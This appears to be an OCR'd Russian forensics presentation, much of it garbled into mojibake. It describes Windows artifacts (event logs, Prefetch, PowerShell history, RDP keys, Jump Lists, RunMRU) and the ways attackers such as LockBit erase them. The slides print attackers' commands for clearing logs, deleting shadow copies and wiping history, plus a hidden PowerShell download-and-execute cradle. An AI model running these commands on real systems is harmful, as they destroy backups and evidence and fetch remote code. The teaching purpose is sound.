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Bce HMXensnoxeHHoe NpmMBOANTCH UCKITIOUUNTESTIbHO B
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. TOI1-3 xep1B

}H 1. XXypHanbl cobbitnn Windows;

‘I 2. TeHeBble kKonum Windows:

Console History, ...).
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‘I 3. OctanbHble 3Bepu (Prefetch, PowerShell




r XypHarnbl cObbITUN U TEHEBDBIE KOMUK

wevtutil sl "#{log name}" /e:false

wmic nteventlog where
LogFileName ='System’

for /F "tokens=*" %1 In
(‘wevtutil.exe el’) DO
cl " %1n

wevtutil.exe

* OpenEventLog / ClearEventLog

* EvtOpenlLog / EvtClearlLog

é

APIs *

API|s*

net stop VSS & sc config VSS start=
disabled

vssadmin delete shadows /all /quiet

vssadmin resize  shadowstorage

[for=c: /on=c: / maxsize =401MB
vssadmin resize  shadowstorage
[for=c: /on=c: / maxsize =unbounded

Get- WmiObject Win32_Shadowcopy |
ForEach - Object{$ .Delete();}

wmic shadowcopy delete
wbadmin delete catalog - quiet

é
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r Nrpbl ¢ Mmoaynem LockBit 3.0 E

A Mopynb delete_eventlogs: yaoanset »xypHanbl cobbitnn Windows
(Event Logs), 30TeM OCTOHABIMBAET U yOANAET CRNyXo6y

«EventLog».

==

A Ho oumLarotcs He BCe XYPHArbl cobbitni Windows (Tornbko
Uactb) HO coBpeMeHHbIX OC Windows, TaK KOK UCMNOJSIb3YHOTCH
ctapblie API pyHKUMK: OpenEventLog/ClearEventLog (<Vista).

A B coBpeMeHHbIix Bepcuax Windows Heo6xoaMMO UCMOMb30BATh:
EvtOpenLog/EvtClearLog.




Prefetch
‘I A Mectononoxenue dannos: %WinDir%\Prefetch\*

‘I A UeM noneseH: UM UCMONHAEMOro Gamsa; KOr-BO 3ArMyCKOB
‘I (nocriegHue 7); CMUCKU U KATOSOMU, C KOTOPbIMM
‘I B3OMMOOENCTBOBAST UCMOJSTHAEMbBIN AU, BPEMEHHbIE METKU

‘I A HeuacTtbIv roctb HO cepBepPHbIX Bepcuax OC Windows

del /f/q/s % windir % Prefetch \* =0
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r Prefetch (npumep

Created on: 2023-09-12 21:49:42
Modified on: 2823-89-10 21:54:12
Last accessed on: 2023-09-12 21:49:42

Executable name: RCLONE.EXE
Hash: F6CA88F4

File size (bytes): 53 236
Version: Windows 10

bther run times: 2023-09-10 21:53:31%

birectories referenced: 10

\VOLUME{©1d782561054d810-bef17597 }\USERS
\VOLUME{©1d782561054d810-bef17597 } \USERS\

: \VOLUME{©1d782561054d8f0-bef17597 } \USERS\ \DESKTOP

: \VOLUME{©1d782561054d8f0-bef17597 }\USERS\ \DESKTOP\DOCUMENTSNOR@
\VOLUME{©1d78256f054d8f0-bef17597 } \WINDOWS
\VOLUME{©1d782561054d810-bef17597 } \WINDOWS\APPPATCH
\VOLUME{©1d782561054d810-bef17597 } \WINDOWS\LOGS
\VOLUME{©1d782561054d810-bef17597 } \WINDOWS\LOGS\NETSETUP

: \VOLUME{©1d782561054d8f0-bef17597 } \WINDOWS\SYSTEM32

Files referenced: 51

\VOLUME{©1d782561054d8f0-bef17597 } \WINDOWS\SYSTEM32\NTDLL.DLL
\VOLUME{©1d782561054d8f0-bef17597 } \WINDOWS\SYSTEM32\KERNEL32.DLL
: \VOLUME{©1d782561054d810-bef17597 } \WINDOWS\SYSTEM32\KERNELBASE .DLL
: \VOLUME{©1d782561054d810-bef17597 } \WINDOWS\SYSTEM32\LOCALE.NLS
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PowerShell (Console History)

A MectononoxeHmne Ganna:
%AppData%\Microsoft\Windows\PowerShell\PSReadLine\C

onsoleHost_history.txt

A UeM noneseH: COAEPXUNT KOMOHAbI, BBEAEHHbIE B KOHCOSU
PowerShell

A AtakyroLime yoansaioTt UCTopmio KoMaHa PoSH:
del /s /q % AppData % Microsoft \ Windows\ PowerShell

\ PSReadLine \ ConsoleHost history.txt =0
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r PowerShell (npnmep)

powershell -ex bypass -f get tg.psl

Install-Module -Name Microsoft.PowerShell.Archive

powershell -ex bypass -f get tg.psl

Get-Module -ListAvailable

Install-Module -Name Microsoft.PowerShell.Archive -Scope AllUsers
powershell -ex bypass -f get tg.psl

Install-Module -Name Microsoft.PowerShell.Archive -Scope AllUsers
cd c:\users\public\temp
./get tg.psl

.\get tg.psl

powershell -ex bypass -f get tg.psl

Set-ExecutionPolicy RemoteSigned

Install-Module -Name Microsoft.PowerShell.Archive -Allow(Clobber
Import-Module Microsoft.PowerShell.Archive

powershell -ex bypass -f get_tg.psl
clear

dir




RDP-noaknmueHns

‘I A MectononoxeHue: Betkm peectpa NTUSER.dat
‘I HKU\*\Software\Microsoft\Terminal Server Client\Default
HKU\*\Software\Microsoft\Terminal Server Client\Server

‘I A UeMm noneseH: coaepxut ucxogaiime RDP-noaknoueHus

‘I A AtakyroLime oumwatot uctopmio RDP-coeanHeHun: cM. crieq.
cnauva
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==

r RDP-nogkntoueHmns (npumep) E

reg delete "HKEY CURRENT USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY CURRENT USER\Software\Microsoft\Terminal Server Client\Servers" /f

reg add "HKEY CURRENT USER\Software\Microsoft\Terminal Server Client\Servers”

attrib -s -h %userprofile%\documents\Default.rdp

del %userprofile’%\documents\Default.rdp




Cnnckum nepexonos (Jump Lists)
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MectonosioxxeHme ¢amnsoB:

%AppData%\Microsoft\Windows\Recent\AutomaticDestinatons\*
%AppData%\Microsoft\Windows\Recent\CustomDestinatons\*

UeM nosieseH: MOXXeM onpenenutb, K KOKUM ¢aniiaM obpaLLance

MOJ1b3OBATES1b

ATaKyrowme yaansatot ¢ansibl CNMUCKOB NepexooB:
del /f /g % AppData % Microsoft \ Windows\ Recent \ AutomaticDestinatons \ *

del /f /g % AppData % Microsoft \ Windows\ Recent \ CustomDestinatons \ *
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r Crnnckum nepexoaos (npumep —m

=

9bScdchScic24e2b Notepad 64-bit 69

» D: Scdch9c 1c24e 2b. automaticDestinations-ms Automatic

Entry Num...

= = = alc
49 2023-02-20 17:53:02 2023-02-20 17:53:07 2023-03-0207:23:19 \\[TD \C$\Users) \Desktop\TextD... 4
50 2022-11-01 11:22:30 2022-11-01 11:50:17 2023-03-0207:23:29 \\[TD \Cs\Users) _ \Desktop\ 4
26 2019-12-03 14:00:59 2022-07-29 09:25:31 2023-03-03 13:33:46 \\[TD! \C$\Users' Desktop) Jxt 4
25 2022-08-02 10:08:58 2022-08-02 10:09:14 2023-03-03 13:33:46 \\[TDI \Cs\Users' Desktop) Lixt 4
27 2021-09-26 16:52:15 2021-09-26 16:52:23 2023-03-03 13:33:46 \\'qe \Cs\Users) Desktop) L ixt 4
e ——— S —— e \\rr[ ................... \cs\Users\ ....................... \Desktop\ .................................................................. txt .
) e ——ppp—— \m\cs\users‘ ............................ M ata\qoa .............. :
56 2020-07-0308:08:11 2020-07-07 12:05:11 2023-03-04 18:23:45 \\[TD \CS\Users \Desktop) 4
53 2021-09-28 09:35:05 2021-09-28 12:56:27 2023-03-04 18:33:30 \\[TD \C$\Users) Desktop\plug_in... 4
54 2019-12-03 14:00:59 2022-07-29 09:25:31 2023-03-04 18:33:32 \\[TD \Cs\Users) Desktop 4
55 2022-08-02 10:08:58 2022-08-02 10:09:14 2023-03-04 18:33:32 \\[TD \Cs$\Users' Desktop) 4
62 2022-02-10 15:07:10 2023-03-05 23:21:49 2023-03-05 23:21:49 \\[TD \Cs\Users' . VirtualBox\Virt... 4
67 2023-03-06 18:16:42 2023-03-06 20:59:02 2023-03-06 18:16:42 My Computer \Downloads\WinSCP.ini 2
66 2023-02-15 16:22:47 2023-02-15 16:22:47 2023-03-06 20:53:58 \WNA \DOWNLOAD \@Recyde\desktop.ini 4
68 2023-03-0706:11:03 2023-03-0706:11:17 2023-03-0706:11:03 \BS" \S§' yeadme. txt 4

Target Created On

Target Modified On

Target Accessed On

4 Absolute Path

Extra Block Count




" RunMRU

‘I A MectononoxeHue: Betka peectpa NTUSER.dat
‘I HKU\*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Ru
nMRU

‘I A UeM noneseH: cCoaepPXUT CMNCOK BCEX 3HAUEHUM, BBEAEHHbIX
‘I NOfIb30BATESIEM B ANANOroBoe OKHO «BbINOSTHUTL» («Run»)

A  Atakyrowme ounuiarot RunMRU:
reg delete HKCU \ SOFTWARBMicrosoft \ Windows\ CurrentVersion \ Explorer \

‘I RunMRU /va /f
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' RunMRU (MpuMep)

)

==

Values RunMRU

Value Name Mru Position Executable Opened On

¢ | Aflc = Al =

0 0 omd /c start powershell.exe -nop -w hidden < "IEX 2022-02-21 18:42:25
| ((new-object

net.webdient).downloadstringChttp: //19 :80 /nic

)}

D 1 ond
= 2 gpedit.msc
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TypedPaths

A MectononoxeHue: Betka peectpa NTUSER.dat

HKU\*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Typ
edPaths

A UeM noneseH: CoaepXut nocrneaHue 25 nytem Kataroros, BBEAEHHbIX
NN BCTOBJIEHHbIX MOJ1b30OBATENIEM B CTPOKY NYyTU «[[1POBOAHUKO»

A Atakyrowme ounwiatot TypedPaths:
reg delete HKCU \ SOFTWARBMicrosoft \ Windows\ CurrentVersion \ Explorer \

TypedPaths /va /f

Tech




" HCTpYyMEeHTapUun

‘I A Living-Off-The-Land Binaries and Scripts (LOLBaS).

‘I A JIMerntmmublie ytunutel CCleaner, BleachBit u ux aHanorm.

‘I A [Ona ysenuueHuns cnucka nctounmkos ans N

i -

‘I Tech




